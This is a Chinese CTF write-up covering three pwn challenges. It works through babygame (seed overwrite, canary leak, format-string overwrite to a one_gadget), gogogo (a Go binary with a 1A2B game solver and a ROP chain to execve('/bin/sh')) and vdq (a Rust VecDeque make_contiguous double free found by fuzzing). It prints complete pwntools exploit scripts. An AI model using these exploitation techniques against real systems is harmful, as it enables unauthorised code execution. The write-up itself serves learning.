不得不说学到了很多东西
babygame 查看保护
保护全开
逆向分析
栈溢出漏洞撞脸上 ,game里面其实就是石头剪刀布游戏
这个里面采取了随机数的方法,但是在主函数内的随机种子可以被覆盖,所以我们可以做到随机数预测。还有一种方法,这个种子是时间,我们在运行这个程序的时候我们也可以使用cdll(python和c的联合编程)同样以时间做为种子和程序一起运行,只要不超过1秒就可以了。这里笔者直接利用栈溢出来覆盖这个种子。另外我们可以发现在read的时候我们可以输出canary和stack_addr。
在game()这个函数里100次胜利我们可以进入下一个函数,也就是格式化漏洞函数
漏洞利用 漏洞点都找出来了,接下来就是如何进行漏洞利用,首先我们可以借助主函数里的read输出canary和stack_addr,并顺带将种子给覆盖掉
1 2 3 4 5 6 7 8 9 10 p1 = b'a' * (0x120 - 0x18 ) + b'b' r.sendline(p1) r.recvuntil('b' ) canary = u64(b'\x00' + r.recv(7 )) li('[+] canary = ' + hex (canary)) stack_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) li('[+] stack_addr = ' + hex (stack_addr))
过game这个游戏,cdll联合编程
1 2 3 4 5 6 7 8 9 10 11 from ctypes import *game_srand = cdll.LoadLibrary('./2.31/libc-2.31.so' ) game_srand.srand(0x61616161616161 ) for i in range (100 ): p2 = str ((game_srand.rand() + 1 ) % 3 ) li('[+] rand' + str (i + 1 ) + ' = ' + p2) r.recvuntil('round ' + str (i + 1 ) + ': ' ) r.send(p2)
接下来就是一个格式化漏洞了,先利用格式化漏洞将libc输出,并且将返回地址给改小。使其可以继续使用格式化漏洞函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 p3 = b'%62c' + b'%8$hhn' + b'a' + b'%79$p' + p64(stack_addr - 0x218 ) r.sendlineafter('Good luck to you.\n' , p3) r.recvuntil(b'a' ) __libc_start_main = int (r.recv(14 ), 16 ) li('[+] __libc_start_main = ' + hex (__libc_start_main)) libc = ELF('./2.31/libc-2.31.so' ) libc_base = __libc_start_main - libc.sym['__libc_start_main' ] - 243 li('[+] libc_base = ' + hex (libc_base)) one = [0xe3b2e , 0xe3b31 , 0xe3b34 ] one_gadget = one[1 ] + libc_base li('[+] one_gadget = ' + hex (one_gadget))
最后一步利用格式化将地址给换成one_gadget,这样就可以getshell了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 p4 = b'' size = 0 for i in range (6 ): target_size = (one_gadget >> (i * 8 )) & 0xff if target_size > size: p4 += b'%' + str (target_size - size).encode() + b'c' else : p4 += b'%' + str (0x100 + target_size - size).encode() + b'c' p4 += b'%' + str (16 + i).encode() + b'$hhn' size = target_size p4 = p4.ljust(0x50 , b'a' ) for i in range (6 ): p4 += p64(stack_addr - 0x218 + i)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import *from ctypes import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) debug = 0 if debug: r = remote() else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) p1 = b'a' * 0x108 + b'b' r.send(p1) r.recvuntil('aaaab' ) canary = u64(b'\x00' + r.recv(7 )) li('[+] canary = ' + hex (canary)) stack_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) li('[+] stack_addr = ' + hex (stack_addr)) game_srand = cdll.LoadLibrary('./2.31/libc-2.31.so' ) game_srand.srand(0x61616161616161 ) for i in range (100 ): p2 = str ((game_srand.rand() + 1 ) % 3 ) li('[+] rand' + str (i + 1 ) + ' = ' + p2) r.recvuntil('round ' + str (i + 1 ) + ': ' ) r.send(p2) offest = 6 p3 = b'%62c' + b'%8$hhn' + b'a' + b'%79$p' + p64(stack_addr - 0x218 ) r.sendlineafter('Good luck to you.\n' , p3) r.recvuntil(b'a' ) __libc_start_main = int (r.recv(14 ), 16 ) li('[+] __libc_start_main = ' + hex (__libc_start_main)) libc = ELF('./2.31/libc-2.31.so' ) libc_base = __libc_start_main - libc.sym['__libc_start_main' ] - 243 li('[+] libc_base = ' + hex (libc_base)) one = [0xe3b2e , 0xe3b31 , 0xe3b34 ] one_gadget = one[1 ] + libc_base li('[+] one_gadget = ' + hex (one_gadget)) p4 = b'' size = 0 for i in range (6 ): target_size = (one_gadget >> (i * 8 )) & 0xff if target_size > size: p4 += b'%' + str (target_size - size).encode() + b'c' else : p4 += b'%' + str (0x100 + target_size - size).encode() + b'c' p4 += b'%' + str (16 + i).encode() + b'$hhn' size = target_size p4 = p4.ljust(0x50 , b'a' ) for i in range (6 ): p4 += p64(stack_addr - 0x218 + i) r.sendlineafter('Good luck to you.\n' , p4) r.interactive()
mva 在笔者的vm pwn文章里面详细的写过了
gogogo
第二次做golang的pwn,学习一下
查看保护
逆向分析 ida7.6以上逆go要比ida7.6下好很多,入眼一个if判断,输入正确之后没什么用
在看交叉引用的时候看到math_init这个函数,跟进
math_init有点长,运行程序之后发现是一个1a2b的游戏,当游戏通关在exit之后有一个栈溢出,放的有点隐晦,难受(从头看到尾
可以读入0x800个数据,而空间只有0x460,所以存在一个栈溢出。找到漏洞就好办了,接下来就是利用断路,因为这个漏洞点在游戏通过之后所以肯定要先要将游戏通过。直接去网上找了一个通过1a2b的python脚本
接下来就是到达漏洞点,利用rdi rax rdx rsi这些寄存器来执行getshell需要的条件,这里还有一个坑点没有pop rdi这个gadget。。。所以需要借助其它的gadget来使得rdi = ‘/bin/sh’
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 0 if debug: r = remote() else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def guessTrainner (): start =time.time() answerSet=answerSetInit(set ()) for i in range (6 ): inputStrMax=suggestedNum(answerSet,100 ) li('第%d步----' %(i+1 )) li('尝试:' +inputStrMax) li('----' ) AMax,BMax = compareAnswer(inputStrMax) li('反馈:%dA%dB' % (AMax, BMax)) li('----' ) ll('排除可能答案:%d个' % (answerSetDelNum(answerSet,inputStrMax,AMax,BMax))) answerSetUpd(answerSet,inputStrMax,AMax,BMax) if AMax==4 : elapsed = (time.time() - start) li("猜数字成功,总用时:%f秒,总步数:%d。" %(elapsed,i+1 )) break elif i==5 : ll("猜数字失败!" ) r.close() def compareAnswer (inputStr ): inputStr1 = inputStr[0 ]+' ' +inputStr[1 ]+' ' +inputStr[2 ]+' ' +inputStr[3 ] r.sendline(inputStr1) r.recvuntil('\n' ) tmp = r.recvuntil('B' ,timeout=0.5 ) if tmp == '' : return 4 ,4 tmp = tmp.split(b"A" ) if len (tmp[0 ]) > 0 : A = tmp[0 ] B = tmp[1 ].split(b'B' )[0 ] return int (A),int (B) else : return 4 , 4 def compareAnswer1 (inputStr,answerStr ): A=0 B=0 for j in range (4 ): if inputStr[j]==answerStr[j]: A+=1 else : for k in range (4 ): if inputStr[j]==answerStr[k]: B+=1 return A,B def answerSetInit (answerSet ): answerSet.clear() for i in range (1234 ,9877 ): seti=set (str (i)) if len (seti)==4 and seti.isdisjoint(set ('0' )): answerSet.add(str (i)) return answerSet def answerSetUpd (answerSet,inputStr,A,B ): answerSetCopy=answerSet.copy() for answerStr in answerSetCopy: A1,B1=compareAnswer1(inputStr,answerStr) if A!=A1 or B!=B1: answerSet.remove(answerStr) def answerSetDelNum (answerSet,inputStr,A,B ): i=0 for answerStr in answerSet: A1, B1 = compareAnswer1(inputStr, answerStr) if A!=A1 or B!=B1: i+=1 return i def suggestedNum (answerSet,lvl ): suggestedNum='' delCountMax=0 if len (answerSet) > lvl: suggestedNum = list (answerSet)[0 ] else : for inputStr in answerSet: delCount = 0 for answerStr in answerSet: A,B = compareAnswer1(inputStr, answerStr) delCount += answerSetDelNum(answerSet, inputStr,A,B) if delCount > delCountMax: delCountMax = delCount suggestedNum = inputStr if delCount == delCountMax: if suggestedNum == '' or int (suggestedNum) > int (inputStr): suggestedNum = inputStr return suggestedNum try : r.sendlineafter('PLEASE INPUT A NUMBER:' , '1416925456' ) r.recvuntil('YOU HAVE SEVEN CHANCES TO GUESS' ) guessTrainner() r.sendafter('AGAIN OR EXIT?\n' , 'exit' ) r.sendlineafter('(4) EXIT\n' , '4' ) pop_rsi_ret = 0x000000000041c41c pop_rdx_ret = 0x000000000048546c pop_rax_ret = 0x0000000000405b78 pop_rcx_ret = 0x000000000044dbe3 mov_val_rax_rcx_ret = 0x000000000042b353 xchg_rax_r9_ret = 0x000000000045b367 mov_rdi_r9 = 0x0000000000410d24 syscall = 0x000000000042c066 p1 = b'a' * 0x460 + p64(pop_rax_ret) + p64(0xc00007c000 ) p1 += p64(pop_rcx_ret) + p64(0x68732f6e69622f ) p1 += p64(mov_val_rax_rcx_ret) + p64(xchg_rax_r9_ret) p1 += p64(mov_rdi_r9) + p64(0 ) * 3 p1 += p64(pop_rax_ret) + p64(0x3b ) p1 += p64(pop_rdx_ret) + p64(0 ) p1 += p64(pop_rsi_ret) + p64(0 ) p1 += p64(syscall) r.sendafter('ARE YOU SURE?\n' , p1) r.interactive() except : ll('[-] something error, continue!!!' ) r.close()
vdq
第一次做rutst程序,rust反汇编之后,麻了。。参考了chuj师傅
查看保护
逆向分析
跟进主函数之后第一行应该是hfctf2022的那个界面。vdq::banner::hdbaa6696562a9ae9,vdq是程序名,banner是函数名。
get_opr_lst
应该就是read的功能了。跟进这个函数发现了一个变量
1 core::result::Result<alloc::vec::Vec<vdq::Operation>,serde_json::error::Error> v29; // [rsp+190h] [rbp-38h] BYREF
操作输入后反序列化到这里serde_json
应该可以猜测出来是反序列化了。
接着看到这里,应该有增加功能,追加功能等。
拿一个功能来看的时候发现错误了,结果报错的时候将反序化的格式都回显出来了,如 [“Add”, “Add”, “Remove”],然后起一新行以 ‘$’ 结尾
在enum这里也可以看到
由此知道有五种操作。
Add 添加一条信息,加入队尾
Remove 删除一条信息,从队头删除
Append 向当前队头的信息中添加额外的信息进行拼接
Archive 与Remove相似
View 打印当前所有的信息
archive这个功能并不会将用以储存消息的容器也释放掉
接下来用chuj的fuzz测一下
1 2 3 4 5 6 7 8 9 10 while ((1))do python ./vdq_input_gen.py > poc cat poc | ./vdq if [ $? -ne 0 ]; then break fi done
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import randomimport stringoperations = "[" def Add (): global operations operations += "\"Add\", " def Remove (): global operations operations += "\"Remove\", " def Append (): global operations operations += "\"Append\", " def View (): global operations operations += "\"View\", " def Archive (): global operations operations += "\"Archive\", " def DoOperations (): print (operations[:-2 ] + "]" ) print ("$" ) def DoAdd (message ): print (message) def DoAppend (message ): print (message) total_ops = random.randint(1 , 100 ) total_adds = 0 total_append = 0 total_remove = 0 total_message = 0 for i in range (total_ops): op = random.randint(0 , 4 ) if op == 0 : total_message += 1 total_adds += 1 Add() elif op == 1 : total_adds -= 1 Remove() elif op == 2 : if total_adds > 0 : total_append += 1 total_message += 1 Append() Append() elif op == 3 : total_adds = 0 total_append = 0 total_remove = 0 Archive() elif op == 4 : View() DoOperations() for i in range (total_message): DoAdd('' .join(random.sample(string.ascii_letters + string.digits, random.randint(1 , 40 ))))
很快就出了crash。double free。
poc有点长
1 2 3 4 5 6 7 8 9 ["View", "Archive", "View", "View", "Archive", "View", "Remove", "Add", "Archive", "View", "Append", "Append", "View", "Add", "Add", "Add", "Remove", "Add", "View", "View", "Remove", "Remove", "View", "Append", "Append", "Add", "Remove", "Archive", "Append"] $ 2Ah7DGlQ 4qGYTiUPOxy51oQpu9MHRwIm8LJvZCW wkOQE9VLM3mZfYJS85i4pln7 cm95ws3eQ7pIGnDZTWCqlrgMf oZLAyx17cWswezaKJqQvHDEkin3YpCg4 kNOZmpAHrvzt7MGW1 EB3T4Yv5wyPJs
对poc简化一下
["Add", "Add", "Archive", "Add", "Archive", "Add", "Add", "View", "Remove", "Remove", "Archive"]
在简化的时候发现一个看起来无用的功能去掉之后不会触发crash了
跟进view功能看一下
1 pub struct VecDeque<T, A: Allocator = Global> { /* private fields */ }
A double-ended queue implemented with a growable ring buffer.
The “default” usage of this type as a queue is to use push_back
to add to the queue, and pop_front
to remove from the queue. extend
and append
push onto the back in this manner, and iterating over VecDeque
goes front to back.
A VecDeque
with a known list of items can be initialized from an array:
1 2 3 use std::collections::VecDeque; let deq = VecDeque::from([-1, 0, 1]);
Since VecDeque
is a ring buffer, its elements are not necessarily contiguous in memory. If you want to access the elements as a single slice, such as for efficient sorting, you can use make_contiguous
. It rotates the VecDeque
so that its elements do not wrap, and returns a mutable slice to the now-contiguous element sequence.
make_contiguous
Rearranges the internal storage of this deque so it is one contiguous slice, which is then returned.
这个 make_contiguous
的 feature 1.48.0 被引入,1.49.0 修复
VecDeque::make_contiguous 存在一个错误,即在特定条件下多次弹出相同的元素。此错误可能导致释放后使用或双重释放。
我们构造一个payload之后在make_contiguous这里下个断点看一下结构
["Add", "Add", "Archive", "Add", "Archive", "Add", "Add", "View", "Remove", "Remove", "Remove", "View"]
在第二个view时
连续指的是 buf 连续,也就是 buf 可以线性遍历(简单的说就是把循环队列转换为线性数组)。这里转换完成后,tail 变成 1,head 变成 4,即可返回一个可用的切片了。
return unsafe { &mut self.buffer_as_mut_slice()[tail..head] };
有漏洞的版本可以看到直接返回了一个可用切片,返回一个 plain 的 slice,这样就会加回到头部可以形成double free
先构造出循环队列,也就是 head < tail,并且让 make_contiguous 后内存中仍能剩余可用的指针,让 make_contiguous 后 head == cap
。由此就可以回绕后 remove 来 double free,view 来 leak,append 来 UAF。
通过 append 方法来 UAF tcache 底部的 chunk 即可任意地址分配
Reference https://mp.weixin.qq.com/s/5pwU3-DX9-dI14iNIcIbPA
https://www.cjovi.icu/WP/1617.html